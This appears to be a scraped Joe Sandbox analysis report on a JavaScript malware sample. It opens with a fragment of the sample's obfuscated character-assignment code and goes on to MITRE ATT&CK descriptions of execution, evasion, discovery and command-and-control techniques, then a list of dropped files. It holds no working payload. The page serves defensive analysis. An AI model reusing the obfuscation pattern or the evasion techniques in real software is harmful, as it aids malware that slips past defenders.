1319	urkat = "h";
1320	urkat = "o";
1321	urkat = "r";
1322	urkat = "I";
1323	urkat = "a";
1324	urkat = "n";
1325	urkat = "z";
1326	urkat = "j";
1327	vjejdzg = "t";
1328	vjejdzg = "i";
1329	vjejdzg = "Y";
1330	vjejdzg = "w";
1331	vjejdzg = "o";
1332	vjejdzg = "n";
1333	vjejdzg = "G";
1334	vjejdzg = "I";
1335	vjejdzg = "x";
1336	vjejdzg = "g";
1337	vjejdzg = "Q";
1338	vjejdzg = "h";
1339	vjejdzg = "d";
1340	vjejdzg = "M";
1341	vjejdzg = "d";
1342	vjejdzg = "s";
1343	vjejdzg = "E";
1344	vjejdzg = "K";
1345	vjejdzg = "x";
1346	vjejdzg = "O";
1347	vjejdzg = "K";
1348	vjejdzg = "M";
1349	vjejdzg = "k";
1350	vjejdzg = "v";
1351	vjejdzg = "p";
1352	vjejdzg = "E";
1353	vjejdzg = "x";
1354	vjejdzg = "p";
1355	vjejdzg = "H";
1356	vjejdzg = "Q";
1357	vjejdzg = "j";
1358	vjejdzg = "u";
1359	vjejdzg = "a";
1360	vjejdzg = "K";
1361	vjejdzg = "d";
1362	fcfcxovb ( );	fcfcxovb() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 944924352317221058.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d2e8189a-17d6-4772-9817-9b20dab8d5ab.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
944924352317221058.js